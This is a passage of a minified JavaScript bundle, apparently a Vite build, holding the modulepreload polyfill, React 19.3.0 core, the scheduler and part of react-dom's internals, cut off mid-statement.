var e=Object.create,t=Object.defineProperty,n=Object.getOwnPropertyDescriptor,r=Object.getOwnPropertyNames,i=Object.getPrototypeOf,a=Object.prototype.hasOwnProperty,o=(e,t)=>()=>(t||(e((t={exports:{}}).exports,t),e=null),t.exports),s=(e,i,o,s)=>{if(i&&typeof i==`object`||typeof i==`function`)for(var c=r(i),l=0,u=c.length,d;l<u;l++)d=c[l],!a.call(e,d)&&d!==o&&t(e,d,{get:(e=>i[e]).bind(null,d),enumerable:!(s=n(i,d))||s.enumerable});return e},c=(n,r,o)=>(o=n==null?{}:e(i(n)),s(r||!n||!n.__esModule||!a.call(n,`default`)?t(o,`default`,{value:n,enumerable:!0}):o,n));(function(){let e=document.createElement(`link`).relList;if(e&&e.supports&&e.supports(`modulepreload`))return;for(let e of document.querySelectorAll(`link[rel="modulepreload"]`))n(e);new MutationObserver(e=>{for(let t of e)if(t.type===`childList`)for(let e of t.addedNodes)e.tagName===`LINK`&&e.rel===`modulepreload`&&n(e)}).observe(document,{childList:!0,subtree:!0});function t(e){let t={};return e.integrity&&(t.integrity=e.integrity),e.referrerPolicy&&(t.referrerPolicy=e.referrerPolicy),t.credentials=e.crossOrigin===`use-credentials`?`include`:e.crossOrigin===`anonymous`?`omit`:`same-origin`,t}function n(e){if(e.ep)return;e.ep=!0;let n=t(e);fetch(e.href,n)}})();var l=o((e=>{var t=Symbol.for(`react.transitional.element`),n=Symbol.for(`react.portal`),r=Symbol.for(`react.fragment`),i=Symbol.for(`react.strict_mode`),a=Symbol.for(`react.profiler`),o=Symbol.for(`react.consumer`),s=Symbol.for(`react.context`),c=Symbol.for(`react.forward_ref`),l=Symbol.for(`react.suspense`),u=Symbol.for(`react.memo`),d=Symbol.for(`react.lazy`),f=Symbol.for(`react.activity`),p=Symbol.for(`react.view_transition`),m=Symbol.iterator;function h(e){return typeof e!=`object`||!e?null:(e=m&&e[m]||e[`@@iterator`],typeof e==`function`?e:null)}var g={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},_=Object.assign,v={};function y(e,t,n){this.props=e,this.context=t,this.refs=v,this.updater=n||g}y.prototype.isReactComponent={},y.prototype.setState=function(e,t){if(typeof e!=`object`&&typeof e!=`function`&&e!=null)throw Error(`takes an object of state variables to update or a function which returns an object of state variables.`);this.updater.enqueueSetState(this,e,t,`setState`)},y.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,`forceUpdate`)};function b(){}b.prototype=y.prototype;function x(e,t,n){this.props=e,this.context=t,this.refs=v,this.updater=n||g}var S=x.prototype=new b;S.constructor=x,_(S,y.prototype),S.isPureReactComponent=!0;var ee=Array.isArray;function te(){}var C={H:null,A:null,T:null,S:null},ne=Object.prototype.hasOwnProperty;function w(e,n,r){var i=r.ref;return{$$typeof:t,type:e,key:n,ref:i===void 0?null:i,props:r}}function re(e,t){return w(e.type,t,e.props)}function ie(e){return typeof e==`object`&&!!e&&e.$$typeof===t}function ae(e){var t={"=":`=0`,":":`=2`};return`$`+e.replace(/[=:]/g,function(e){return t[e]})}var oe=/\/+/g;function se(e,t){return typeof e==`object`&&e&&e.key!=null?ae(``+e.key):t.toString(36)}function ce(e){switch(e.status){case`fulfilled`:return e.value;case`rejected`:throw e.reason;default:switch(typeof e.status==`string`?e.then(te,te):(e.status=`pending`,e.then(function(t){e.status===`pending`&&(e.status=`fulfilled`,e.value=t)},function(t){e.status===`pending`&&(e.status=`rejected`,e.reason=t)})),e.status){case`fulfilled`:return e.value;case`rejected`:throw e.reason}}throw e}function le(e,r,i,a,o){var s=typeof e;(s===`undefined`||s===`boolean`)&&(e=null);var c=!1;if(e===null)c=!0;else switch(s){case`bigint`:case`string`:case`number`:c=!0;break;case`object`:switch(e.$$typeof){case t:case n:c=!0;break;case d:return c=e._init,le(c(e._payload),r,i,a,o)}}if(c)return o=o(e),c=a===``?`.`+se(e,0):a,ee(o)?(i=``,c!=null&&(i=c.replace(oe,`$&/`)+`/`),le(o,r,i,``,function(e){return e})):o!=null&&(ie(o)&&(o=re(o,i+(o.key==null||e&&e.key===o.key?``:(``+o.key).replace(oe,`$&/`)+`/`)+c)),r.push(o)),1;c=0;var l=a===``?`.`:a+`:`;if(ee(e))for(var u=0;u<e.length;u++)a=e[u],s=l+se(a,u),c+=le(a,r,i,s,o);else if(u=h(e),typeof u==`function`)for(e=u.call(e),u=0;!(a=e.next()).done;)a=a.value,s=l+se(a,u++),c+=le(a,r,i,s,o);else if(s===`object`){if(typeof e.then==`function`)return le(ce(e),r,i,a,o);throw r=String(e),Error(`Objects are not valid as a React child (found: `+(r===`[object Object]`?`object with keys {`+Object.keys(e).join(`, `)+`}`:r)+`). If you meant to render a collection of children, use an array instead.`)}return c}function T(e,t,n){if(e==null)return e;var r=[],i=0;return le(e,r,``,``,function(e){return t.call(n,e,i++)}),r}function ue(e){if(e._status===-1){var t=e._result,n=t();n.then(function(t){(e._status===0||e._status===-1)&&(e._status=1,e._result=t,n.status===void 0&&(n.status=`fulfilled`,n.value=t))},function(t){(e._status===0||e._status===-1)&&(e._status=2,e._result=t,n.status===void 0&&(n.status=`rejected`,n.reason=t))}),e._status===-1&&(e._status=0,e._result=n)}if(e._status===1)return e._result.default;throw e._result}var de=typeof reportError==`function`?reportError:function(e){if(typeof window==`object`&&typeof window.ErrorEvent==`function`){var t=new window.ErrorEvent(`error`,{bubbles:!0,cancelable:!0,message:typeof e==`object`&&e&&typeof e.message==`string`?String(e.message):String(e),error:e});if(!window.dispatchEvent(t))return}else if(typeof process==`object`&&typeof process.emit==`function`){process.emit(`uncaughtException`,e);return}console.error(e)};function fe(e){var t=C.T,n={};n.types=t===null?null:t.types,C.T=n;try{var r=e(),i=C.S;i!==null&&i(n,r),typeof r==`object`&&r&&typeof r.then==`function`&&r.then(te,de)}catch(e){de(e)}finally{t!==null&&n.types!==null&&(t.types=n.types),C.T=t}}function pe(e){var t=C.T;if(t!==null){var n=t.types;n===null?t.types=[e]:n.indexOf(e)===-1&&n.push(e)}else fe(pe.bind(null,e))}var me={map:T,forEach:function(e,t,n){T(e,function(){t.apply(this,arguments)},n)},count:function(e){var t=0;return T(e,function(){t++}),t},toArray:function(e){return T(e,function(e){return e})||[]},only:function(e){if(!ie(e))throw Error(`React.Children.only expected to receive a single React element child.`);return e}};e.Activity=f,e.Children=me,e.Component=y,e.Fragment=r,e.Profiler=a,e.PureComponent=x,e.StrictMode=i,e.Suspense=l,e.ViewTransition=p,e.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE=C,e.__COMPILER_RUNTIME={__proto__:null,c:function(e){return C.H.useMemoCache(e)}},e.addTransitionType=pe,e.cache=function(e){return function(){return e.apply(null,arguments)}},e.cacheSignal=function(){return null},e.cloneElement=function(e,t,n){if(e==null)throw Error(`The argument must be a React element, but you passed `+e+`.`);var r=_({},e.props),i=e.key;if(t!=null)for(a in t.key!==void 0&&(i=``+t.key),t)!ne.call(t,a)||a===`key`||a===`__self`||a===`__source`||a===`ref`&&t.ref===void 0||(r[a]=t[a]);var a=arguments.length-2;if(a===1)r.children=n;else if(1<a){for(var o=Array(a),s=0;s<a;s++)o[s]=arguments[s+2];r.children=o}return w(e.type,i,r)},e.createContext=function(e){return e={$$typeof:s,_currentValue:e,_currentValue2:e,_threadCount:0,Provider:null,Consumer:null},e.Provider=e,e.Consumer={$$typeof:o,_context:e},e},e.createElement=function(e,t,n){var r,i={},a=null;if(t!=null)for(r in t.key!==void 0&&(a=``+t.key),t)ne.call(t,r)&&r!==`key`&&r!==`__self`&&r!==`__source`&&(i[r]=t[r]);var o=arguments.length-2;if(o===1)i.children=n;else if(1<o){for(var s=Array(o),c=0;c<o;c++)s[c]=arguments[c+2];i.children=s}if(e&&e.defaultProps)for(r in o=e.defaultProps,o)i[r]===void 0&&(i[r]=o[r]);return w(e,a,i)},e.createRef=function(){return{current:null}},e.forwardRef=function(e){return{$$typeof:c,render:e}},e.isValidElement=ie,e.lazy=function(e){return{$$typeof:d,_payload:{_status:-1,_result:e},_init:ue}},e.memo=function(e,t){return{$$typeof:u,type:e,compare:t===void 0?null:t}},e.startTransition=fe,e.unstable_useCacheRefresh=function(){return C.H.useCacheRefresh()},e.use=function(e){return C.H.use(e)},e.useActionState=function(e,t,n){return C.H.useActionState(e,t,n)},e.useCallback=function(e,t){return C.H.useCallback(e,t)},e.useContext=function(e){return C.H.useContext(e)},e.useDebugValue=function(){},e.useDeferredValue=function(e,t){return C.H.useDeferredValue(e,t)},e.useEffect=function(e,t){return C.H.useEffect(e,t)},e.useEffectEvent=function(e){return C.H.useEffectEvent(e)},e.useId=function(){return C.H.useId()},e.useImperativeHandle=function(e,t,n){return C.H.useImperativeHandle(e,t,n)},e.useInsertionEffect=function(e,t){return C.H.useInsertionEffect(e,t)},e.useLayoutEffect=function(e,t){return C.H.useLayoutEffect(e,t)},e.useMemo=function(e,t){return C.H.useMemo(e,t)},e.useOptimistic=function(e,t){return C.H.useOptimistic(e,t)},e.useReducer=function(e,t,n){return C.H.useReducer(e,t,n)},e.useRef=function(e){return C.H.useRef(e)},e.useState=function(e){return C.H.useState(e)},e.useSyncExternalStore=function(e,t,n){return C.H.useSyncExternalStore(e,t,n)},e.useTransition=function(){return C.H.useTransition()},e.version=`19.3.0`})),u=o(((e,t)=>{t.exports=l()})),d=o((e=>{function t(e,t){var n=e.length;e.push(t);a:for(;0<n;){var r=n-1>>>1,a=e[r];if(0<i(a,t))e[r]=t,e[n]=a,n=r;else break a}}function n(e){return e.length===0?null:e[0]}function r(e){if(e.length===0)return null;var t=e[0],n=e.pop();if(n!==t){e[0]=n;a:for(var r=0,a=e.length,o=a>>>1;r<o;){var s=2*(r+1)-1,c=e[s],l=s+1,u=e[l];if(0>i(c,n))l<a&&0>i(u,c)?(e[r]=u,e[l]=n,r=l):(e[r]=c,e[s]=n,r=s);else if(l<a&&0>i(u,n))e[r]=u,e[l]=n,r=l;else break a}}return t}function i(e,t){var n=e.sortIndex-t.sortIndex;return n===0?e.id-t.id:n}if(e.unstable_now=void 0,typeof performance==`object`&&typeof performance.now==`function`){var a=performance;e.unstable_now=function(){return a.now()}}else{var o=Date,s=o.now();e.unstable_now=function(){return o.now()-s}}var c=[],l=[],u=1,d=null,f=3,p=!1,m=!1,h=!1,g=!1,_=typeof setTimeout==`function`?setTimeout:null,v=typeof clearTimeout==`function`?clearTimeout:null,y=typeof setImmediate<`u`?setImmediate:null;function b(e){for(var i=n(l);i!==null;){if(i.callback===null)r(l);else if(i.startTime<=e)r(l),i.sortIndex=i.expirationTime,t(c,i);else break;i=n(l)}}function x(e){if(h=!1,b(e),!m){if(n(c)!==null)m=!0,S||(S=!0,re());else{var t=n(l);t!==null&&oe(x,t.startTime-e)}}}var S=!1,ee=-1,te=5,C=-1;function ne(){return g?!0:!(e.unstable_now()-C<te)}function w(){if(g=!1,S){var t=e.unstable_now();C=t;var i=!0;try{a:{m=!1,h&&(h=!1,v(ee),ee=-1),p=!0;var a=f;try{b:{for(b(t),d=n(c);d!==null&&!(d.expirationTime>t&&ne());){var o=d.callback;if(typeof o==`function`){d.callback=null,f=d.priorityLevel;var s=o(d.expirationTime<=t);if(t=e.unstable_now(),typeof s==`function`){d.callback=s,b(t),i=!0;break b}d===n(c)&&r(c),b(t)}else r(c);d=n(c)}if(d!==null)i=!0;else{var u=n(l);u!==null&&oe(x,u.startTime-t),i=!1}}break a}finally{d=null,f=a,p=!1}i=void 0}}finally{i?re():S=!1}}}var re;if(typeof y==`function`)re=function(){y(w)};else if(typeof MessageChannel<`u`){var ie=new MessageChannel,ae=ie.port2;ie.port1.onmessage=w,re=function(){ae.postMessage(null)}}else re=function(){_(w,0)};function oe(t,n){ee=_(function(){t(e.unstable_now())},n)}e.unstable_IdlePriority=5,e.unstable_ImmediatePriority=1,e.unstable_LowPriority=4,e.unstable_NormalPriority=3,e.unstable_Profiling=null,e.unstable_UserBlockingPriority=2,e.unstable_cancelCallback=function(e){e.callback=null},e.unstable_forceFrameRate=function(e){0>e||125<e?console.error(`forceFrameRate takes a positive int between 0 and 125, forcing frame rates higher than 125 fps is not supported`):te=0<e?Math.floor(1e3/e):5},e.unstable_getCurrentPriorityLevel=function(){return f},e.unstable_next=function(e){switch(f){case 1:case 2:case 3:var t=3;break;default:t=f}var n=f;f=t;try{return e()}finally{f=n}},e.unstable_requestPaint=function(){g=!0},e.unstable_runWithPriority=function(e,t){switch(e){case 1:case 2:case 3:case 4:case 5:break;default:e=3}var n=f;f=e;try{return t()}finally{f=n}},e.unstable_scheduleCallback=function(r,i,a){var o=e.unstable_now();switch(typeof a==`object`&&a?(a=a.delay,a=typeof a==`number`&&0<a?o+a:o):a=o,r){case 1:var s=-1;break;case 2:s=250;break;case 5:s=1073741823;break;case 4:s=1e4;break;default:s=5e3}return s=a+s,r={id:u++,callback:i,priorityLevel:r,startTime:a,expirationTime:s,sortIndex:-1},a>o?(r.sortIndex=a,t(l,r),n(c)===null&&r===n(l)&&(h?(v(ee),ee=-1):h=!0,oe(x,a-o))):(r.sortIndex=s,t(c,r),m||p||(m=!0,S||(S=!0,re()))),r},e.unstable_shouldYield=ne,e.unstable_wrapCallback=function(e){var t=f;return function(){var n=f;f=t;try{return e.apply(this,arguments)}finally{f=n}}}})),f=o(((e,t)=>{t.exports=d()})),p=o((e=>{var t=u();function n(e){var t=`https://react.dev/errors/`+e;if(1<arguments.length){t+=`?args[]=`+encodeURIComponent(arguments[1]);for(var n=2;n<arguments.length;n++)t+=`&args[]=`+encodeURIComponent(arguments[n])}return`Minified React error #`+e+`; visit `+t+` for the full message or use the non-minified dev environment for full errors and additional helpful warnings.`}function r(){}var i={d:{f:r,r:function(){throw Error(n(522))},D:r,C:r,L:r,m:r,X:r,S:r,M:r},p:0,findDOMNode:null},a=Symbol.for(`react.portal`),o=Symbol.for(`react.recoverable`),s=Symbol.for(`react.optimistic_key`);function c(e,t,n){var r=3<arguments.length&&arguments[3]!==void 0?arguments[3]:null;return{$$typeof:a,key:r==null?null:r===s?s:``+r,children:e,containerInfo:t,implementation:n}}var l=t.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;function d(e,t){if(e===`font`)return``;if(typeof t==`string`)return t===`use-credentials`?t:``}e.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE=i,e.browser=function(e){return{$$typeof:o,_reason:e}},e.createPortal=function(e,t){var r=2<arguments.length&&arguments[2]!==void 0?arguments[2]:null;if(!t||t.nodeType!==1&&t.nodeType!==9&&t.nodeType!==11)throw Error(n(299));return c(e,t,null,r)},e.flushSync=function(e){var t=l.T,n=i.p;try{if(l.T=null,i.p=2,e)return e()}finally{l.T=t,i.p=n,i.d.f()}},e.preconnect=function(e,t){typeof e==`string`&&(t?(t=t.crossOrigin,t=typeof t==`string`?t===`use-credentials`?t:``:void 0):t=null,i.d.C(e,t))},e.prefetchDNS=function(e){typeof e==`string`&&i.d.D(e)},e.preinit=function(e,t){if(typeof e==`string`&&t&&typeof t.as==`string`){var n=t.as,r=d(n,t.crossOrigin),a=typeof t.integrity==`string`?t.integrity:void 0,o=typeof t.fetchPriority==`string`?t.fetchPriority:void 0;n===`style`?i.d.S(e,typeof t.precedence==`string`?t.precedence:void 0,{crossOrigin:r,integrity:a,fetchPriority:o}):n===`script`&&i.d.X(e,{crossOrigin:r,integrity:a,fetchPriority:o,nonce:typeof t.nonce==`string`?t.nonce:void 0})}},e.preinitModule=function(e,t){if(typeof e==`string`){if(typeof t==`object`&&t){if(t.as==null||t.as===`script`){var n=d(t.as,t.crossOrigin);i.d.M(e,{crossOrigin:n,integrity:typeof t.integrity==`string`?t.integrity:void 0,nonce:typeof t.nonce==`string`?t.nonce:void 0,fetchPriority:typeof t.fetchPriority==`string`?t.fetchPriority:void 0})}}else t??i.d.M(e)}},e.preload=function(e,t){if(typeof e==`string`&&typeof t==`object`&&t&&typeof t.as==`string`){var n=t.as,r=d(n,t.crossOrigin);i.d.L(e,n,{crossOrigin:r,integrity:typeof t.integrity==`string`?t.integrity:void 0,nonce:typeof t.nonce==`string`?t.nonce:void 0,type:typeof t.type==`string`?t.type:void 0,fetchPriority:typeof t.fetchPriority==`string`?t.fetchPriority:void 0,referrerPolicy:typeof t.referrerPolicy==`string`?t.referrerPolicy:void 0,imageSrcSet:typeof t.imageSrcSet==`string`?t.imageSrcSet:void 0,imageSizes:typeof t.imageSizes==`string`?t.imageSizes:void 0,media:typeof t.media==`string`?t.media:void 0})}},e.preloadModule=function(e,t){if(typeof e==`string`){if(t){var n=d(t.as,t.crossOrigin);i.d.m(e,{as:typeof t.as==`string`&&t.as!==`script`?t.as:void 0,crossOrigin:n,integrity:typeof t.integrity==`string`?t.integrity:void 0,nonce:typeof t.nonce==`string`?t.nonce:void 0,fetchPriority:typeof t.fetchPriority==`string`?t.fetchPriority:void 0})}else i.d.m(e)}},e.requestFormReset=function(e){i.d.r(e)},e.unstable_batchedUpdates=function(e,t){return e(t)},e.useFormState=function(e,t,n){return l.H.useFormState(e,t,n)},e.useFormStatus=function(){return l.H.useHostTransitionStatus()},e.version=`19.3.0`})),m=o(((e,t)=>{function n(){if(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__<`u`&&typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE==`function`)try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(n)}catch(e){console.error(e)}}n(),t.exports=p()})),h=o((e=>{var t=f(),n=u(),r=m();function i(e){var t=`https://react.dev/errors/`+e;if(1<arguments.length){t+=`?args[]=`+encodeURIComponent(arguments[1]);for(var n=2;n<arguments.length;n++)t+=`&args[]=`+encodeURIComponent(arguments[n])}return`Minified React error #`+e+`; visit `+t+` for the full message or use the non-minified dev environment for full errors and additional helpful warnings.`}function a(e){return!(!e||e.nodeType!==1&&e.nodeType!==9&&e.nodeType!==11)}function o(e){for(var t=e,n=t;n&&!n.alternate;)t=n,t.flags&4098&&(e=t.return),n=t.return;for(;t.return;)t=t.return;return t.tag===3?e:null}function s(e){if(e.tag===13){var t=e.memoizedState;if(t===null&&(e=e.alternate,e!==null&&(t=e.memoizedState)),t!==null)return t.dehydrated}return null}function c(e){if(e.tag===31){var t=e.memoizedState;if(t===null&&(e=e.alternate,e!==null&&(t=e.memoizedState)),t!==null)return t.dehydrated}return null}function l(e){if(o(e)!==e)throw Error(i(188))}function d(e){var t=e.alternate;if(!t){if(t=o(e),t===null)throw Error(i(188));return t===e?e:null}for(var n=e,r=t;;){var a=n.return;if(a===null)break;var s=a.alternate;if(s===null){if(r=a.return,r!==null){n=r;continue}break}if(a.child===s.child){for(s=a.child;s;){if(s===n)return l(a),e;if(s===r)return l(a),t;s=s.sibling}throw Error(i(188))}if(n.return!==r.return)n=a,r=s;else{for(var c=!1,u=a.child;u;){if(u===n){c=!0,n=a,r=s;break}if(u===r){c=!0,r=a,n=s;break}u=u.sibling}if(!c){for(u=s.child;u;){if(u===n){c=!0,n=s,r=a;break}if(u===r){c=!0,r=s,n=a;break}u=u.sibling}if(!c)throw Error(i(189))}}if(n.alternate!==r)throw Error(i(190))}if(n.tag!==3)throw Error(i(188));return n.stateNode.current===n?e:t}function p(e){var t=e.tag;if(t===5||t===26||t===27||t===6)return e;for(e=e.child;e!==null;){if(t=p(e),t!==null)return t;e=e.sibling}return null}function h(e,t,n,r,i,a){for(;e!==null;){if((e.tag===5||e.tag===27||e.tag===6)&&n(e,r,i,a)||(e.tag!==22||e.memoizedState===null)&&(t||e.tag!==5&&e.tag!==27)&&h(e.child,t,n,r,i,a))return!0;e=e.sibling}return!1}function g(e){for(e=e.return;e!==null;){if(e.tag===3||e.tag===5||e.tag===27)return e;e=e.return}return null}function _(e){var t=!1;for(e=e.return;e!==null&&(e.tag===4&&(t=!0),e.tag!==3&&e.tag!==5&&e.tag!==27);)e=e.return;return t}function v(e){var t=[null,null],n=g(e);return n===null||y(t,e,n.child,{foundSelf:!1}),t}function y(e,t,n,r){for(;n!==null;){if(n===t)r.foundSelf=!0;else if(n.tag===5||n.tag===27||n.tag===6){if(r.foundSelf)return e[1]=n,!0;e[0]=n}else if((n.tag!==22||n.memoizedState===null)&&y(e,t,n.child,r))return!0;n=n.sibling}return!1}function b(e){switch(e.tag){case 5:case 27:case 6:return e.stateNode;case 3:return e.stateNode.containerInfo;default:throw Error(i(559))}}var x=null,S=null;function ee(e,t,n){return e===n||e===t&&(x=e,!0)}function te(e,t,n){return e===n?(S=e,!1):e===t&&(S!==null&&(x=e),!0)}function C(e){if(e===null)return null;do e=e===null?null:e.return;while(e&&e.tag!==5&&e.tag!==27&&e.tag!==3);return e||null}function ne(e,t,n){for(var r=0,i=e;i;i=n(i))r++;i=0;for(var a=t;a;a=n(a))i++;for(;0<r-i;)e=n(e),r--;for(;0<i-r;)t=n(t),i--;for(;r--;){if(e===t||t!==null&&e===t.alternate)return e;e=n(e),t=n(t)}return null}var w=Object.assign,re=Symbol.for(`react.element`),ie=Symbol.for(`react.transitional.element`),ae=Symbol.for(`react.portal`),oe=Symbol.for(`react.fragment`),se=Symbol.for(`react.strict_mode`),ce=Symbol.for(`react.profiler`),le=Symbol.for(`react.consumer`),T=Symbol.for(`react.context`),ue=Symbol.for(`react.forward_ref`),de=Symbol.for(`react.suspense`),fe=Symbol.for(`react.suspense_list`),pe=Symbol.for(`react.memo`),me=Symbol.for(`react.lazy`),he=Symbol.for(`react.activity`),ge=Symbol.for(`react.legacy_hidden`),_e=Symbol.for(`react.memo_cache_sentinel`),ve=Symbol.for(`react.view_transition`),ye=Symbol.for(`react.recoverable`),be=Symbol.iterator;function xe(e){return typeof e!=`object`||!e?null:(e=be&&e[be]||e[`@@iterator`],typeof e==`function`?e:null)}var Se=Symbol.for(`react.client.reference`);function Ce(e){if(e==null)return null;if(typeof e==`function`)return e.$$typeof===Se?null:e.displayName||e.name||null;if(typeof e==`string`)return e;switch(e){case oe:return`Fragment`;case ce:return`Profiler`;case se:return`StrictMode`;case de:return`Suspense`;case fe:return`SuspenseList`;case he:return`Activity`;case ve:return`ViewTransition`}if(typeof e==`object`)switch(e.$$typeof){case ae:return`Portal`;case T:return e.displayName||`Context`;case le:return(e._context.displayName||`Context`)+`.Consumer`;case ue:var t=e.render;return e=e.displayName,e||=(e=t.displayName||t.name||``,e===``?`ForwardRef`:`ForwardRef(`+e+`)`),e;case pe:return t=e.displayName||null,t===null?Ce(e.type)||`Memo`:t;case me:t=e._payload,e=e._init;try{return Ce(e(t))}catch{}}return null}var we=Array.isArray,E=n.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,D=r.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,Te={pending:!1,data:null,method:null,action:null},Ee=[],De=-1;function Oe(e){return{current:e}}function ke(e){0>De||(e.current=Ee[De],Ee[De]=null,De--)}function O(e,t){De++,Ee[De]=e.current,e.current=t}var Ae=Oe(null),je=Oe(null),Me=Oe(null),Ne=Oe(null);function Pe(e,t){switch(O(Me,t),O(je,e),O(Ae,null),t.nodeType){case 9:case 11:e=(e=t.documentElement)&&(e=e.namespaceURI)?up(e):0;break;default:if(e=t.tagName,t=t.namespaceURI)t=up(t),e=dp(t,e);else switch(e){case`svg`:e=1;break;case`math`:e=2;break;default:e=0}}ke(Ae),O(Ae,e)}function Fe(){ke(Ae),ke(je),ke(Me)}function Ie(e){var t=e.memoizedState;t!==null&&(sh._currentValue=t.memoizedState,O(Ne,e)),t=Ae.current;var n=dp(t,e.type);t!==n&&(O(je,e),O(Ae,n))}function Le(e){je.current===e&&(ke(Ae),ke(je)),Ne.current===e&&(ke(Ne),sh._currentValue=Te)}var Re,ze;function Be(e){if(Re===void 0)try{throw Error()}catch(e){var t=e.stack.trim().match(/\n( *(at )?)/);Re=t&&t[1]||``,ze=-1<e.stack.indexOf(`
    at`)?` (<anonymous>)`:-1<e.stack.indexOf(`@`)?`@unknown:0:0`:``}return`
`+Re+e+ze}var Ve=!1;function He(e,t){if(!e||Ve)return``;Ve=!0;var n=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{var r={DetermineComponentFrameRoot:function(){try{if(t){var n=function(){throw Error()};if(Object.defineProperty(n.prototype,"props",{set:function(){throw Error()}}),typeof Reflect==`object`&&Reflect.construct){try{Reflect.construct(n,[])}catch(e){var r=e}Reflect.construct(e,[],n)}else{try{n.call()}catch(e){r=e}n=!1;try{var i=Object.getOwnPropertyDescriptor(e.prototype,`props`);Object.defineProperty(e.prototype,"props",{configurable:!0,set:function(){throw Error()}}),n=!0,new e}finally{n&&(i===void 0?delete e.prototype.props:Object.defineProperty(e.prototype,"props",i))}}}else{try{throw Error()}catch(e){r=e}(n=e())&&typeof n.catch==`function`&&n.catch(function(){})}}catch(e){if(e&&r&&typeof e.stack==`string`)return[e.stack,r.stack]}return[null,null]}};r.DetermineComponentFrameRoot.displayName=`DetermineComponentFrameRoot`;var i=Object.getOwnPropertyDescriptor(r.DetermineComponentFrameRoot,`name`);i&&i.configurable&&Object.defineProperty(r.DetermineComponentFrameRoot,"name",{value:`DetermineComponentFrameRoot`});var a=r.DetermineComponentFrameRoot(),o=a[0],s=a[1];if(o&&s){var c=o.split(`
`),l=s.split(`
`);for(i=r=0;r<c.length&&!c[r].includes(`DetermineComponentFrameRoot`);)r++;for(;i<l.length&&!l[i].includes(`DetermineComponentFrameRoot`);)i++;if(r===c.length||i===l.length)for(r=c.length-1,i=l.length-1;1<=r&&0<=i&&c[r]!==l[i];)i--;for(;1<=r&&0<=i;r--,i--)if(c[r]!==l[i]){if(r!==1||i!==1)do if(r--,i--,0>i||c[r]!==l[i]){var u=`
`+c[r].replace(` at new `,` at `);return e.displayName&&u.includes(`<anonymous>`)&&(u=u.replace(`<anonymous>`,e.displayName)),u}while(1<=r&&0<=i);break}}}finally{Ve=!1,Error.prepareStackTrace=n}return(n=e?e.displayName||e.name:``)?Be(n):``}function Ue(e,t){switch(e.tag){case 26:case 27:case 5:return Be(e.type);case 16:return Be(`Lazy`);case 13:return e.child!==t&&t!==null?Be(`Suspense Fallback`):Be(`Suspense`);case 19:return Be(`SuspenseList`);case 0:case 15:return He(e.type,!1);case 11:return He(e.type.render,!1);case 1:return He(e.type,!0);case 31:return Be(`Activity`);case 30:return Be(`ViewTransition`);default:return``}}function We(e){try{var t=``,n=null;do t+=Ue(e,n),n=e,e=e.return;while(e);return t}catch(e){return`
Error generating stack: `+e.message+`
`+e.stack}}var Ge=Object.prototype.hasOwnProperty,Ke=t.unstable_scheduleCallback,qe=t.unstable_cancelCallback,Je=t.unstable_shouldYield,Ye=t.unstable_requestPaint,Xe=t.unstable_now,Ze=t.unstable_getCurrentPriorityLevel,Qe=t.unstable_ImmediatePriority,$e=t.unstable_UserBlockingPriority,et=t.unstable_NormalPriority,tt=t.unstable_LowPriority,nt=t.unstable_IdlePriority,rt=t.log,it=t.unstable_setDisableYieldValue,at=null,ot=null;function st(e){if(typeof rt==`function`&&it(e),ot&&typeof ot.setStrictMode==`function`)try{ot.setStrictMode(at,e)}catch{}}var ct=Math.clz32?Math.clz32:dt,lt=Math.log,ut=Math.LN2;function dt(e){return e>>>=0,e===0?32:31-(lt(e)/ut|0)|0}var ft=256,pt=262144,mt=4194304;function ht(e){var t=e&42;if(t!==0)return t;switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:return 64;case 128:return 128;case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:return e&-e;case 262144:case 524288:case 1048576:case 2097152:return e&3932160;case 4194304:case 8388608:case 16777216:case 33554432:return e&62914560;case 67108864:return 67108864;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 0;default:return e}}function gt(e,t,n){var r=e.pendingLanes;if(r===0)return 0;var i=0,a=e.suspendedLanes,o=e.pingedLanes;e=e.warmLanes;var s=r&134217727;return s===0?(s=r&~a,s===0?o===0?n||(n=r&~e,n!==0&&(i=ht(n))):i=ht(o):i=ht(s)):(r=s&~a,r===0?(o&=s,o===0?n||(n=s&~e,n!==0&&(i=ht(n))):i=ht(o)):i=ht(r)),i===0?0:t!==0&&t!==i&&(t&a)===0&&(a=i&-i,n=t&-t,a>=n||a===32&&n&4194048)?t:i}function _t(e,t){return(e.pendingLanes&~(e.suspendedLanes&~e.pingedLanes)&t)===0}function vt(e,t){t&8&&(t|=t&32);var n=e.entangledLanes;if(n!==0)for(e=e.entanglements,n&=t;0<n;){var r=31-ct(n),i=1<<r;t|=e[r],n&=~i}return t}function yt(e,t){switch(e){case 1:case 2:case 4:case 8:case 64:return t+250;case 16:case 32:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return t+5e3;case 4194304:case 8388608:case 16777216:case 33554432:return-1;case 67108864:case 134217728:case 268435456:case 536870912:case 1073741824:return-1;default:return-1}}function bt(){var e=mt;return mt<<=1,!(mt&62914560)&&(mt=4194304),e}function xt(e){for(var t=[],n=0;31>n;n++)t.push(e);return t}function St(e,t){e.pendingLanes|=t,t!==268435456&&(e.suspendedLanes=0,e.pingedLanes=0,e.warmLanes=0)}function Ct(e,t,n,r,i,a){var o=e.pendingLanes;e.pendingLanes=n,e.suspendedLanes=0,e.pingedLanes=0,e.warmLanes=0,e.expiredLanes&=n,e.entangledLanes&=n,e.errorRecoveryDisabledLanes&=n,e.shellSuspendCounter=0;var 